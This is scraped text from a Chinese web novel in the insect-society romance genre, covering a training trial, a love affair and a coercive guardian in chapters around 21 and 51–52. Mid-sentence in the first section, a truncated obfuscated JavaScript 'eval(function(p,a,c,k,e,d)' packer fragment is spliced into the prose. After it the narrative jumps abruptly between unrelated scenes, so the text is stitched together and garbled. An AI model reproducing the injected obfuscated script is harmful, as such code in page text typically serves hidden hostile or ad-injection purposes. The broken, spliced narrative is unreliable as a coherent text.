他一直把这朵花放在怀里。幸好能在这片区域生长的花都不算脆弱,经过一夜的蹂躏,倒还是没有损伤它的美,只是上边沾了些许脏污,无比嚣张地绽放着。 但就算没有这些脏污,这种随处可见的野花也配不上雪因。 “不是…”诺伊斯别开视线,轻声否认,“不小心沾上的吧,我没注意。” “这样啊?”雪因端详着手中的花,却不太在意诺伊斯的话,反而小心翼翼地将花别在胸前口袋里,“那谢谢你的不注意,它很漂亮~”说着,就要亲吻在诺伊斯的脸颊上。 “咳…”身后传来刻意的咳嗽声。 诺伊斯这才看到背后齐刷刷三双眼睛无语地看过来。 “哎。想我那不中用的雌君咯~”佐尔安幽幽地看着重色轻友的雪因。 雪因不好意思地摸了摸鼻子,轻轻推开诺伊斯站直了身子。 “雪因你一醒来就顾着这个贱虫…”洛佩卡不满地嘟囔。 “他叫诺伊斯。”雪因打断他,看向洛佩卡。 洛佩卡与雪因对视片刻,最终败下阵来,冷哼一声别开了脸。 “好了好了,大清早的。”兰斯出来打圆场,“走吧,继续去做任务吧。”说着,三位雄虫一起朝外走去,佐尔安还回头看了诺伊斯一眼,朝雪因挤了挤眼睛。 雪因点点头,正准备牵起诺伊斯的手,诺伊斯却躲开了。 “我…我也要去做任务。雪因你们去吧。”诺伊斯开口说道。 “你的任务?” “嗯,这次历练的任务是比谁猎杀的星兽多,明早任务就结束了。我、我自己去完成。”说罢,诺伊斯有些狼狈地跑出了洞穴。 “雌虫的任务不是保护那个…雄虫么?”洛佩卡走在前方皱起眉头。 “对知道内情的雌虫来说确实如此,这算是个隐藏任务。但对普通雌虫来说,他们连知晓任务真相的资格都没有,只会被告知、停留在猎杀星兽。”兰斯望着诺伊斯离去的背影,轻轻摇了摇头,“身份低了些。” “雌虫之间真是弯弯绕绕。”洛佩卡一时摸不着头脑。 “这是‘规则’,好了,小洛佩卡,咱们也该去完成自己的任务了。后面那两只!”兰斯回头,看见佐尔安又勾着雪因的肩膀说笑打闹,多半是在打听诺伊斯的事,雪因则脸颊绯红地躲闪着,倒是多了几分少年朝气。 “跟上!” 21.第 21 章 “很好,现在就剩四只了,果然我雄父说得对,遇到雌虫不用管他们,他们会自己消耗掉。”洛佩卡举着搜刮到的望远镜,站在粗壮的树枝上观察着远方的雌虫们。 “给我看看。”佐尔安伸出手。洛佩卡将望远镜递了过去。 佐尔安调试着焦距,仔细望去。“唔,和雪因判断得差不多,一只A级雌虫,四只S级雌虫,还有…” 敌方阵营一共还剩六只虫。 他们正倚靠在一处长满植被的山壁旁休息。中央最安全的位置端坐着一只雄虫,身下垫满了雌虫们努力搜刮来的物资,精心装扮着那位雄虫的‘宝座’,即使在这座凶险的森林里也不显落魄,雌虫们硬生生给雄虫营造出了出门旅游般的休闲环境,在雄虫四周还贴心地装饰着野花。 打扮巢穴让诱雄虫尽情享受,是每个雌虫的本能。 他们居然还找到了一些宝石。不难看出是雌虫们进入森林后特意搜寻挖掘的原石,用精神力精心雕琢后镶嵌在宝座上。宝座表面铺着星兽最柔软的腹部皮毛,而那只雄虫就很悠哉慵懒地斜倚在上面,甚至悠闲地将一条腿搭在扶手上来回晃悠。只是这个视角被繁茂的枝叶挡着,看不清雄虫的脸。 意外的是,四只S级雌虫站在外围警惕地守护着周围,而负责贴身照顾雄虫的竟是那只A级雌虫。他跪在地上,双手被树藤反绑在身后,正用嘴叼着茶杯,一点点地给坐在中央的雄虫喂去。 “啧,还是外边的虫会玩。”佐尔安不禁感叹。 那只A级雌虫似乎控制得不太熟练,又或许是刻意为之,流出的水没有落入雄虫口中,反而顺着雌虫的胸膛流下,将本就单薄的白衬衫浸得湿透,欲拒还迎地贴在身上。但显然,雄虫已经看腻了这种拙劣的表演,毫不留情地一脚将雌虫踹开。 这时佐尔安终于看清了雄虫的脸。“诶?是我表哥!” “嗯??塞西尔家族的么?让我看看让我看看!”洛佩卡一把夺过望远镜,熟练地将望远镜的带子在胳膊上缠绕两圈固定好,再次望过去。“居然是他…那…我想起来了,那只A级雌虫是沃克家族雌侍所生,听说他们家一直想让他攀上一只雄虫。难怪让他来服侍你表哥,估计是想混个雌侍的位置,毕竟你表哥可是出了名的‘乐善好施’。”洛佩卡朝佐尔安挤了挤眼。 “我猜也是。”佐尔安笑嘻嘻地回答,对此早已见怪不怪,“另外那几只都是贵族雌君所生的虫崽,S级的身份足以担任A级雄虫的雌君,自然不屑于去争抢服侍雄虫的差事。不过奇怪,表哥怎么会来参加这次特训?听说他雌君这段时间怀蛋了,我雄叔父让他试着亲自孵一下,看看能不能孵出个S级来。” “……A级雄虫很少亲自孵蛋吧?你雄叔父这不是强虫所难吗?毕竟雌虫蛋从怀上到破壳都不用雄虫操心。” “雌侍生的蛋确实不用管,反正等级也高不到哪去。但这次是雌君怀的蛋,万一是S级雄虫蛋,要是因为没有好好孵化导致等级停留在A级,我雄叔父估计得杀了他。虽然他等级不算顶尖,但好歹是家族里唯一的雄子了。对了,雪因呢?” “按计划和兰斯一起过去了。” “计划……” “计划……” 佐尔安和洛佩卡面面相觑。 按照原定计划,他们之中能力最强的雪因负责吸引注意力,兰斯在一旁配合辅助。等对方的火力集中在雪因身上后,兰斯趁机抢夺他们记录积分的通讯器,制造“被雌虫抢夺积分”的假象,以此引开三只最难缠的S级雌虫。随后佐尔安下场分散剩余两只雌虫的注意力,而灵活度最高的洛佩卡则负责迅速绑架雄虫并撤离。 完蛋!差点就只顾着看热闹吃瓜,把正事给忘了!他们立刻朝着雄虫所在的山崖位置疾驰而去。 * “蝴蝶。”领头的雌虫低语看向前方,不知从何处飞来一只蓝白相间的闪蝶,半边翅膀已经破碎残缺,正起起落落挣扎着飞舞。这是从未见过的物种,蝴尾甚至拖着长长的卷曲飘带,他没有忍住伸出手,那只小蝴蝶便轻盈地落在他指尖。 蝶翼微微颤动,洒下细碎的鳞粉,在夕阳下折射出五彩斑斓的白粉,又像坠落的星光,落入指尖下的皮肤,便融入体内,留下细微的暖意。 他一时有些看痴了。 “好多蝴蝶!”身后的雌虫惊呼。他这才发现,周围出现了越来越多同样的蓝白闪蝶,它们朝着同一个方向跌跌撞撞地飘去,掉落的鳞粉像是在空气中勾勒出一条通往温暖的道路,让人不由自主地放下戒备。 “耶尔、戈斯。”领头虫指向靠里的雌虫和地上那只A级雌虫,“你们留在这里照顾阁下。其余人跟我去探查。” 雄虫瞥了他们一眼,没有作声,默认了这个安排。 按理说应该留下大部分雌虫保护雄虫,但除了他点名的两只虫,其余出身都不比他差。他这次侥幸当上队长,并不意味着能完全指挥他们。他能感觉到这些蝴蝶非同寻常…不,本能告诉他,蝴蝶后边藏着的是绝不会让人失望的惊喜。 那种心脏被轻轻麻痹的感觉不时涌现,即使明知是陷阱,也无法控制地想要朝那个方向走去。 而在敌方情况不明时,同伴之间就开始内讧互相背刺可不是什么聪明虫该做的事。 随着罗斯命令,另外两只雌虫立刻迫不及待地行动起来,循着蝴蝶的指引向前。他们甚至忘了隐藏脚步声,从最初的谨慎踱步到后来干脆小跑起来。心跳越来越快,呼吸变得急促,喉间不受控制地分泌着唾液。 在黄昏与地平线齐平间,小径尽头出现了一道跪坐的身影。背对着他们,雪白长发披散在周身,指尖轻轻向上探去,似在玩弄即将消逝夕阳。 无数蓝白闪蝶环绕着他翩翩起舞,又好像是从他身上的藏不住满溢的华彩中诞生。夕阳终于消散,四周却像是更亮了,漫天蝶翼鳞光浮动,与草丛间点点荧光交织,形成一幅无比震撼的画。 画中之人微微侧身,似要回首。 一秒。 两秒。 罗斯从未觉得时间如此漫长。他不自觉地微微张口,痴痴地望着那个方向,心脏狂跳得几乎要冲出胸膛。他无比渴望在那双眼中看到自己的倒影,哪怕只有一瞬,这辈子都… ……… ……滋…… 【罗斯,麦克米伦,已被淘汰】空中浮现出虚拟横幅。 挡住他视线的,是胸前突然刺出的虫化节肢。该死的!罗斯忍不住想破口大骂,可惜眼前已是一片漆黑,系统毫不留情地将他踢出了试炼区。 “你好,小亚雌。” 雪因闻声看向唯一剩下的雌虫。 刚才那一瞬间,对方毫不犹豫地解决了两个同伴。 唔——是个狠虫,雪因评价。 但也不得不说,即使不依赖信息素压制,仅靠调动周围逸散的精神力来攻击的方法行得通。只是稍微加了一些诱惑,这些雌虫就毫不犹豫自相残杀起来。 怪不得他们这些雄虫被禁止离开帝星,万一被敌方掳去…对帝国造成的损伤难以想象。 雪因戴着口罩,只露出一双眼睛。他像往常一样沉默着,藏在衣袖里的手紧握匕首,等着对方靠近给予致命一击。 “怎么一只虫在这?和家人走散了吗?”雌虫的语调温和,但那双越来越猩红的眼睛和急促的语调,已经暴露了他难以抑制的渴望。“这里太危险了,跟哥哥走吧,我带你出去。” 雪因垂下眼眸,嘴角勾起幅度。他没有向前,反而像是受惊般后退了一步。 面对敌人时不能示弱,否则会激发对方的暴虐或兴奋的欲望;但诱敌时正好相反。雄虫天生体能不及雌虫,正面交锋毫无胜算,必须赌在一击必杀上。 视野中出现了一只属于雌虫的手。太近了,雪因不由得感到一阵厌恶。 他左手猛地扣住对方手腕,抬头迎上对方的目光。趁对方失神的刹那,右手利落地挥动匕首。 没有反抗,来不及反抗,不想反抗。直到淘汰界面浮现,那只雌虫仍一脸失神痴痴的笑。 没意思。 雪因站起身,刚刚兰斯在目睹那只雌虫解决掉两名同伴后,便与他交换了一个眼神,将现场交给他处理,自己赶去支援不太靠谱的佐尔安和洛佩卡了。 现在想来,那边的任务应该也完成得差不多了。 果然当他走回营地时,佐尔安已经搂着那位陌生雄虫的肩膀,举着茶杯庆祝起来了。 而那位陌生雄虫看到雪因,眼睛顿时亮了起来,赶紧站起来,按耐住激动毕恭毕敬行了个礼,眼睛亮晶晶的,“维斯特冕殿下。” 雪因微微颔首。 “我是朗费罗.塞西尔,家族经营星舰后备产业。说起来,我主家的叔叔,塞西尔公爵,还是您长兄的雄主。”朗费罗笑盈盈地和雪因打着招呼。 虫族成年后容貌便会定型,尽管他已经一百多岁,育有两只雌崽,外表依旧年轻,脸稍显圆润,笑起来倒是显得几分和气。 “嗯。”雪因这时才想起这层关系。话说他那位长兄常年在外,作为雌父的继承人忙得不可开交,甚至比墨尔庇斯还难见到,确实有好几年没见了。 “殿下,能借一步说话么?”朗费罗询问,他有些局促。 “噢?表哥有啥我不能听的?”佐尔安又凑了过来,一手一个搂住两位雄虫。而兰斯正在篝火旁烤着星兽肉,投喂嗷嗷待哺的洛佩卡。 “倒也不是不能听…就是…”朗费罗抿嘴不好意思地笑了笑,“过几天是我长子的生日,想邀请殿下来参加…殿下放心,届时塞西尔公爵也会主持聚会,绝不会失了您的身份。” 大哥的雄主?雪因向来不太热衷参与雄虫们的聚会,对这些弯弯绕绕一直不太感兴趣。总会有认识或不认识的人刻意接近他,他只需点头就好,若是不喜欢便离开,也没有雄虫敢阻拦。 刚成年时被吹捧着参加了几次,撞见了一些雄虫爱玩的交换雌侍游戏。他厌恶地转身就走,或是他厌恶的表情太明显,也不知是背后哪方势力在运作,总之雪因不高兴了,就有虫要倒霉。这些年那些游戏已被严令禁止。 导致有一段时间,一些雄虫见到他总是一脸哀怨。 噢,还有雌虫。或许是觉得失去了攀附的机会,在网上的抗议闹得比雄虫还凶,要求恢复他们的‘自由’。 不过这些声音很快就被镇压了下去。 …… 雪因只能在外尽量不显露情绪。维持尊贵完美矜贵的雄虫形象,避免底下的人胡乱揣测。时间久了还是累的,还好遇到了诺伊斯…想到这,雪因不由得嘴角勾起一抹笑。 “嗯。”雪因答应了。不过是给虫崽庆生,再说也很久没出去走动了。既然大哥的雄主也在,那他们家那个…雄崽多半也会在场。那虫崽身世可怜,正好去帮大哥照看一二。 “那太好了!对了殿下,这是这次历练的奖励,一共四份。雌虫的任务是讨好我,让我把奖励给他们。我本来不想给的,但他们把其他雌虫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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星兽等级不高,憨傻得很,倒是比心思复杂的雌虫要好控制得多。 “为什么不亲手把令牌交给他?这样他还能记着你的好。” 身后突然传来兰斯饶有兴味的声音,吓了雪因一跳。 雪因回过头,看着兰斯眨眨眼,随后转身望向星兽远去的方向,目光温柔似水:“他自尊心很强。我送去的礼物他会开心,但那种开心,和他凭自己实力猎杀星兽获得的成就感是不一样的。我这次没拿到奖励不过挨顿骂,但…能换他开心,我觉得很值得。”说着,雪因笑起来,露出洁白的牙齿,眼睛都成了月牙弯弯的。 “啧。”兰斯没好气地白了他一眼,“爱情啊~只会让虫死无葬生之地。” “你不明白,能和他在一起我觉得…呼…”雪因轻轻呼出一口气,眼中闪烁着幸福的光芒,“每一天都是恩赐。” “那我得用这次的奖励换个上好的吸尘器,”兰斯一本正经地说,“等你们两个的骨灰被扬了的时候,也好收拾。” “哈哈哈…那谢谢你咯,兰斯。” “切。” * “殿下辛苦了。” 试炼结束后,不出意外是洛伽南来迎接雪因。 穿过传送通道,眼前已是熟悉的自家大门。 雪因轻轻抬手,示意两侧侍虫们不必伺候退下。特训一周时间,多多少少还是有些疲惫,正打算直接回卧室休息,却见书房门被推开,走出一道意想不到的身影。 雪因…… “他怎么还没有回去?”雪因压低声音询问洛伽南。往常墨尔庇斯半年才回来一次,最多待上半天就会离开。这次加上试炼,都快待了一周。 “您说笑了,雌君不留在王爵府,还能去哪呢。”不同的是,洛伽南却没有像往常一样听话反而避而不答,想来多半是受了老师的授意。 可恶。 雪因有些烦闷。他就说试炼结束后,老师居然反常地没有责备他,反而让他早些回家,原来在这等着他。 墨尔庇斯此时甚至穿着睡衣,想来会在这过夜。 察觉到雪因的视线,墨尔庇斯缓步走近。 雪因下意识挺直脊背站直,只觉得浑身汗毛都要竖起来了。不得不说,这种天敌生理压制无论经历多少次,初见都会让他应激一阵子。 “殿下。”墨尔庇斯行礼倒是恭敬,但气势仍压迫感极强。 而洛伽南在雪因难以置信一脸求救的眼神中,居然退下了! 留下了可怜弱小又无助的雪因强装镇定,眼睁睁看着墨尔庇斯一步步逼近。 一步,两步,脚步声像是踩在他的心上。 雪因几乎想要大声呵斥让他停下,却找不到合适的理由。这里不仅是他的家,同样也是墨尔庇斯回来时的住处。可是…为什么今天要靠得这么近! 没有洛伽南和斯卡尔在一旁周旋,他好像又回到了小时候那种孤立无援的境地。 他干脆闭上眼,等待着被墨尔庇斯像小时候那样将他推开。 但预想中的推拒并未到来,取而代之的是周围越来越浓重的杀气。狂暴的精神力在空气中震荡,充斥着难以抑制的怒意,却迟迟没有落下。他甚至感觉墨尔庇斯灼热的呼吸抵在他脆弱的脖颈。 而现在他是任人宰割的猎物,蛛网上无力挣扎的蝴蝶。 恐惧之余,他不由地思绪发散,有些想笑。这么多年过去,他一直以为早已从那片噩梦中醒来,已经不再害怕被推开、被吞噬。没想到就剩他们两人独处时,一切又回到了原点,原来他从未真正走出那片阴影。 手臂被墨尔庇斯猛地攥住抬高。雪因睁开眼,对上一双幽暗猩红的眼眸,其中翻涌着暴怒的漩涡。墨尔庇斯的整只手已经完全虫化,粗壮锋利的手指深深陷入他手臂的肌肤,带来一阵钝痛。 “谁伤的你?”墨尔庇斯的声音里压抑着毫不掩饰的杀意。 50-60 第51章 反正书里都是这样写的…… 雪因几乎是连跑带闪的逃到卧室。身影飘逸忽闪,竟在情急之下无意识地动用了本该属于S级雌虫的瞬移能力。 墨尔庇斯伫立在原地,注视着雪因离开的背影,唇角牵起一丝欣慰弧度。 可惜没出息的雪因不过是凭着本能,胡乱使用精神力而已,一路跌撞冲回房门前。几乎是摔进卧室的,反手‘砰’地关紧房门,整个背脊死死抵在门板上,骨节分明的手指颤抖着摸索到门锁,‘咔哒’一声落下保险。微微喘着气,胸膛急促起伏,无意间使用出的精神力还不太习惯,沁出细汗,双颊红扑扑的,漂亮的唇瓣被咬得一片湿润。 确认门已反锁,他立刻跳上床,熟练地抓起被子一卷,故技重施把自己藏进被子中。又从被窝里伸出一只手,抓过枕头开始熟练地制作信息素替身,虽然用处已经不大。 从被沿探出那截白皙手腕上,赫然套着一个骨白色的环状物。说是手环又像是某种生物的脊骨模样,一节一节,扯动时连接处会泛起幽黑的暗光,仿佛真有髓质在其中流动的活物。 可惜它不是。 在之前雪因差点真跑掉被抓后,墨尔庇斯亲手给他戴上这玩意。雪因不是没尝试过弄掉它,而当时墨尔庇斯只是似笑非笑地吐出三个字: ‘诺伊斯’ 雪因:“……” 说实话,这两个月下来,他都快对这个名字应激了!但墨尔庇斯的意思也很明显,他敢摘下来,下一秒诺伊斯的小命就要完。 坏啊!太坏了! 雪因之后仔细研究过,这骨环大概是起到一个物理定位器的作用。他凑近闻过,上面还残留着墨尔庇斯身上那种冷冽的气息,加上这骨质材料…来源好像不难猜。 但是有些事细想就很可怕了,雪因艰难地咽了口口水。不再敢去想这骨头哪来的,只能在心里给墨尔庇斯多贴上几个‘变态’的标签。 但这‘定位器’有一个误差,雪因试过,五米的距离。 一旦雪因制作的替身与骨环定位点超过这个距离,导致信息素源和手环位置不一致,墨尔庇斯立刻就能察觉他在使坏。周围空气里就会弥漫开那熟悉到让他头皮发麻的气息,无声地宣告着‘我在盯着你’。 不过今天没必要惹墨尔庇斯。 一切准备都在卧室内完成即可。熟练地做好替身,雪因这才从被子里探出脑袋。不得不说,这几个月和墨尔庇斯的斗智斗勇,让他的信息素操控熟练度直线上升,连带对精神力的掌握也强了不止一星半点。 雪因甚至苦中作乐地想,照这样‘锻炼’下去,等崽崽出生时,说不定他都能拥有媲美S级雌虫的战力了。到那时他就能保护好他们父子,带着诺伊斯和崽崽私奔到某个偏远的星球称王称霸的,再也不会有虫敢歧视他的诺伊斯和崽崽… 雪因叹了口气,但这是不可能的。帝国需要他,雌父雄父也需要他,他不能这样自私。 重新猫猫祟祟地从被窝里探头,再次确认房间内没有监控探头后,他利落地翻身滚下床,灵巧地钻进了床底。幸好侍虫们每日尽职打扫,不会遗漏任何角落,不然他们会发现——即使没有他们的打扫,床底也已经被尊贵的王爵殿下每天用身体擦得锃亮。 进入床底的缝隙不算大,至少雌虫是爬不进不来的,而内部空间却不算窄。 是雪因一月前就发现了这块藏东西的好地方。自从上次与墨尔庇斯争执后,那个混蛋不仅不仅严格控制虫崽的信息素摄入,还振振有词地说什么“虫崽需要经历低剂量的信息素投喂,体会濒临匮乏的危机感,才能学会如何最大限度利用能量,而不是养成挥霍无度的坏习惯。” 雪因不懂,在他看来这纯粹是墨尔庇斯的歪理邪说。 墨尔庇斯只是冷笑,“呵,所以你才会这样做什么都不计后果地倾尽所有不留退路,才会被一次次掏空,养成他贪婪的习惯,现在你还想用这套错误的方式教坏我的虫崽么?” 好吧,雪因不敢反驳了。毕竟他破壳前就是被墨尔庇斯养大的,能将他这么难养的雄虫崽养大,带一个亲生崽子自然不在话下。总之雪因不再插手虫崽投喂后,却没有如墨尔庇斯想的那样乖乖休息。 此刻他仰头看向床板底面,那里密密麻麻地绑着二十多支试管状的信息素结晶。这是他这段时间的成果,运用从制作替身时领悟的技巧,每天榨干自己最后一丝信息素,小心翼翼地凝练封存,再用精神力层层包裹防止外泄。误打误撞居然学会了雄虫协会制作信息素制剂的核心技术。 他一直在等这一天,一旦有机会出去,他就能带着这二十多支想办法送到诺伊斯手中。 将全部试管仔细藏进衣内,雪因瞥了眼时间,心头一紧——已过去将近二十分钟。墨尔庇斯从来不是会耐心等待的性子,那个恶劣的雌虫有多不讲道理,他再清楚不过。 一个箭步解除替身上的精神力伪装,瞬间往大门方向跑去。 果然,传送阵前那道挺拔的身影早已整装待发,仿佛下一秒就要独自启程。 “殿下真是迅速。”墨尔庇斯打量着气喘吁吁的雪因,唇畔浮起意味深长的弧度。 “……”明明提早了五分钟,要是按照墨尔庇斯原定的时间,他赶过来时墨尔庇斯肯定已经走了。雪因想辩驳控诉他根本不打算等自己!但还是忍了,毕竟都到了出门这一步,万一热恼了墨尔庇斯不带他出门就糟糕。 “时间从不会等人,所有事也不会老老实实按你的计划进行。”墨尔庇斯审视的目光在雪因身上流转。当视线落在他略显臃肿的身体时,突然顿了顿:“殿下这是……” 雪因被他看得一僵,下意识按住藏匿试管的位置,但面不改色地挺直腰板,理直气壮地回复:“胖了。” 说罢,不等对方回应,他快步迈进传送阵。 只听身后一声轻笑。 雪因踏出传送阵,湛蓝眼眸好奇地眨了眨,长而卷翘的银色睫毛像蝶翼般扑闪。对于墨尔庇斯能直接进入雌父书房这件事,他并未流露出太多惊讶,只是微微偏过头,银白碎发随之滑落,勾勒出他精致姣好的侧脸轮廓。 “你当年…”雪因的声音清亮悦耳,带着几分试探,“真的和雌父联手扶植九皇子上位了吗?” 这是帝国人尽皆知的历史,当年墨尔庇斯经此一战成名,之后一路爬上现在的位置。这句话从他那张蔷薇色的唇间问出,不像怀疑反倒是像称赞,平添了几分天真又撩人的意味。 “殿下想听到什么答案?”墨尔庇斯径自在熟悉的沙发落座,指尖轻叩扶手。几只机械飞虫嗡嗡作响,为他斟上一杯热茶。 雪因这才发现门泛着幽蓝光泽,上边复杂繁杂的精神力纹路牢牢锁住。他若有所思地瞥了墨尔庇斯一眼,看来墨尔庇斯能随意进入,并不意味着他能在公爵府自由行动。果然雌虫之间没有真正的信任,哪怕是墨尔庇斯和雌父这种公认的同盟。 雪因犹豫片刻,试探性地想要坐上雌父常坐的主位。就在他即将落座的瞬间,衣襟内传来试管碰撞的细微声响,他立刻站直。 墨尔庇斯挑眉投来探究的目光。 “您不懂,”雪因强作镇定地扬起小巧的下巴,语气刻意带着几分娇纵的任性,“我们雄虫啊,就喜欢站着。” 墨尔庇斯:“……” 雪因快步绕到高背沙发后,雌父这边沙发靠背位置很高,恰好能遮挡住他大半个身子。雪因这才回复墨尔庇斯的问题,“对您来说这个问题很难回答么?” 他单手搭在沙发靠背上,银发微扬,倨傲的看向墨尔庇斯。不得不说,在雌父的地盘莫名放松了许多,也放肆了不少。 墨尔庇斯拿起茶杯抿了一口,这才慢慢回复:“殿下若想知道,不妨自己去查。报道未必真实,而我说的,也未必可信。” “那我怎么知道我查到的就是真的?”雪因有些疑惑不爽,只是随意问了一句墨尔庇斯又开始教育起他来,“再说了,您逃避这个问题的原因是因为…” 雪因努力想,随后眼睛突然亮起来,“战报是假的对不对?你根本没参战!我就说你怎么可能战胜皇室!一定是我雌父厉害,独自…最后两败俱伤时,不分上下,只差最后一刀,被路过运气好的你捡漏补刀!然后踩着我雌父上位!” 反正书里都是这样写的,这段时间闲来无事看的小说情节纷纷涌上心头。 “……” 墨尔庇斯沉默良久,嘴角微不可察地抽动,最后只是偏过头去逸出一声嗤笑。 雪因却不肯放过这个绝佳的嘲讽的机会,新仇旧恨一齐涌上心头。“怎么,被我猜中了?所以你不敢回答。”他微微前倾身子,银色的发丝随着动作轻轻晃动。 “伤到你那高高在上的雌虫自尊心了?”他得意地扬起小巧的下巴,湛蓝的眼眸中闪烁着狡黠的光芒,像只终于抓住了对手把柄的猫儿。 墨尔庇斯转回视线,目光在他脸上停留。方才还觉得这小家伙这段时间有所长进,没想到一回到熟悉的环境,就又原形毕露,把那份好不容易培养起来的脑子全都丢在了王爵府。“只是不想打击你。” “打击…我?”雪因困惑地歪了歪头,浓密的银色睫毛轻轻颤动,在白皙的脸颊上投下细碎的阴影,粉嫩的唇微微张开,可爱得要命。 “我十九岁时已经率领军团猎杀大皇子成名,”墨尔庇斯不紧不慢地说道,“而殿下二十岁了,还被一只低级雌虫耍得团团转,被困自家王爵府寸步不敢离。” “可怜呐。”他轻轻摇头,视线在雪因瞬间涨得通红的脸上流转,将那句话原样奉还:“不过是怕伤到我们家尊贵的雄虫殿下…脆弱的自尊心罢了。”—— 作者有话说:莫名发展成对抗路了o.O 第52章 第四军团长 “我尊贵的小殿下,您未来…想要过怎样的生活?” 一双温柔的手将那个五六岁的雪团子整个圈在怀里。雪白的藕腿在膝头不安分地晃啊晃,脸颊还带着未褪的圆乎乎随着动作一颤一颤,湛蓝的眼眸像浸了水的琉璃。 “我不知道呀…”软糯的嗓音含含糊糊。 “这可不行,您可得知道呀…”那双温柔的手灵活地穿梭在雪因细软的发丝间。最后仔细地将雪团胸前银白长发分成两股,编成两条精致的小辫,轻轻搭在雪团子胸前,又从旁取来缀着精神力的银环,小心翼翼地固定在辫梢。银环悬空微颤,随着小雄虫晃动飘动,流光溢彩。 “…那你呢?”幼小的雪因歪着小脑袋,想了半晌也没琢磨明白,索性耍起赖来。身子一扭,就把漂亮精致的小脸深深埋进抚育虫温暖的胸口,小手紧紧揪住了对方的衣襟。 “我啊…只盼着能过上最平凡的日子。有一个真心相待的伴侣,养一窝可爱的虫崽。不需要多么显赫,两虫,一屋,相伴一生。”身后的虫声音温柔,目光爱怜地落在小雪因身上,却带上了一丝不易察觉的落寞。 “平凡是什么?”雪团子不解抬起头,蓝眸水汪汪的,他第一次听到这个词。 “就像夜空中那些数不清的小星星,”抚育虫的声音轻柔,“安静地发着光,和其他星星在一起,组成最寻常的星河。” 小雪因似懂非懂,只将温暖宽厚的手握得更紧,将自己软乎乎的脸颊贴了上去,轻轻蹭了蹭。 ——那你想要过的生活,从今往后,就是我想要过的生活了。 …… 反正绝不可能是墨尔庇斯那样的坏虫! 爱应该是炽热的、真诚的、温柔又鲜活的,才不像他那样——满心弯弯绕绕,还总爱变着法欺负他的坏虫! 雪因扭头瞪向沙发上那道从容不迫悠哉抿茶的身影,像只被惹恼的猫儿,气得脸颊都鼓了。 而门此时恰到好处的被推开,侍虫的出现也算是打破了两人之间的硝烟。 “军团长……”侍虫的目光掠过雪因,忽然一顿,眼中闪过一丝惊喜,“殿下也来了?我这就去禀报主虫。” “不必,”雪因打断他,“我自己去找雌父。” 他说完便朝门外走去,到了门边却又脚步一顿,忍不住回头望去——墨尔庇斯仍坐在沙发上,侍虫正俯身低声向他汇报着什么。似是察觉到雪因的视线,墨尔庇斯并未抬头,只淡淡抛来一句:“别走太远,否则……你知道的。” 雪因知道了,这话的意思是:可以在公爵府内自由活动,但别想逃跑。 墨尔庇斯今天居然难得做了回虫,他还以为墨尔庇斯今天要将自己绑死在身边。 于是雪因转身,头也不回地离开。不清楚墨尔庇斯什么时候会带他走,必须抓紧时间,想办法把身上的信息素交给诺伊斯。 今天是雌父主持的宴会,前来赴会的雌虫出乎意料地多。幸好他运气不错,兰斯居然真的来了,就在宴会厅后方… 雪因此时在狭长的走廊上,两侧平静的湖面完整地倒映着漫天星辰与远处宴会的辉煌灯火。水面上漂浮着点点莹光,是机械萤虫在例行巡逻,它们拖曳着淡蓝色的光尾,在湖面划出瞬息即逝的涟漪。 危险倒不至于,但今日来得突然,雪因身边确实没有侍虫跟随。 行至廊桥中央时,感受到前方传来强大的精神力波动,雪因脚步微顿,第一个念头是后退或寻找掩体,往回跑或往上躲…不对,对面来的又不是墨尔庇斯,他躲什么?雌虫可没什么危险的。 他脚步微顿,还是继续向前走去,瞬间调整好仪态,步伐变得沉稳而从容。举止间流露出高不可攀的意味,透着与生俱来的矜贵,清冷而不可亵渎,恢复了那位尊贵矜持的王爵殿下模样。 这时廊桥另一端的身影也看见了他。对方明显一怔,非但没有依照礼节退避,反而施展瞬移,径直出现在他面前数步之遥。 对面雌虫发色是罕见的湛蓝色渐变长发,在星光下泛着细碎光芒,眼眸亦是同色,脸上挂着真诚的微笑,通过那双星星眼露出却更显得真挚情意款款。高大的身影上缀满雪因并不陌生的高级军雌徽章,随着他单膝跪地,发出叮铃声。 “第四军团长——金利斯,见过殿下。”他毫不在意停下瞬间立即单膝跪地,仿佛向雪因下跪是他的荣幸。如同所有雌虫一样,他做出要牵起雪因的手行吻手礼的姿态,却立即察觉到雪因的手微微后撤,意识到这位殿下或许不习惯雌虫过于亲近,瞬间聪明的选择放弃,没有让雪因拒绝。 也是,尊贵的雄虫向来不喜雌虫过分亲近。但以他这般地位的军雌行此大礼,即便是最高贵的雄虫也该动容,以他们的军衔,本只需弯腰示意即可,而金利斯却恭恭敬敬行了跪礼。 他保持着跪姿仰视面前尚且稚嫩的帝国最尊贵雄虫。果然被保护得很好,百闻不如一见,连空气中隐约飘散的信息素都让他的瞳色不自觉地漫上一丝粉光。 “嗯,起来吧。”雪因嗓音清越,带着恰到好处的疏离。面对陌生雌虫有些许不安,但见到对方全然臣服的姿态后也稍稍松懈了些。 金利斯凝视着雪因,明明局促得厉害,也看得出有些不安,却没有像大部分雄虫那样无视他,或是心安理得地欣赏雌虫跪地的崇拜姿态,而是略显羞涩地让他起身,像只虚张声势的猫儿,可爱得要命。 “我这样和殿下说话吧。”他露出八颗牙齿笑得灿烂,他仰起头,露出一个毫无阴霾的灿烂笑容,心下顿时了然。 墨尔庇斯那个心思深沉的混蛋,家里竟藏着这般漂亮干净的雄子,搞得他不由得有些…他没有使用话术,只是发自内心地说:“只是担心站立的身形会惊扰到您。雌虫的力量终究太过粗野,若是不慎吓到殿下,便是我的罪过了。” 他语气真挚,一下子戳穿了雪因深藏的不安,倒是弄的雪因有些不知所措起来。雪因开始反思是不是他把人想得太坏了。 而居高临下的视角里,只需低头就能看到对方毫无防备的脆弱脖颈对他完全暴露,雌虫完全不在意,传递着顺从与无害。虽然经过上次教训雪因知道即使重伤雌虫脖颈也不一定会死,但对方的姿态还是让他放下些许戒备。 “殿下是想去前殿么?可容许我护送您过去,”雌虫的声音再次响起,温和恳切,“虽说在场的雌虫皆不敢放肆,但若是一个接一个前来打扰,终究会扰了殿下的清静,怪烦的对不对?” “墨尔庇斯军团长是我的至交,他既不在,由我来代为照顾您,再合适不过。” 先是展示无害体贴,再自然引出与墨尔庇斯的深厚关系。一套套组合策略下来,就算脾气再差的雄虫也会放下戒备。 可惜他失策了,提到墨尔庇斯名字,漂亮的小雄虫脸色瞬间一黑。 坏东西的至交,多半也是坏东西。 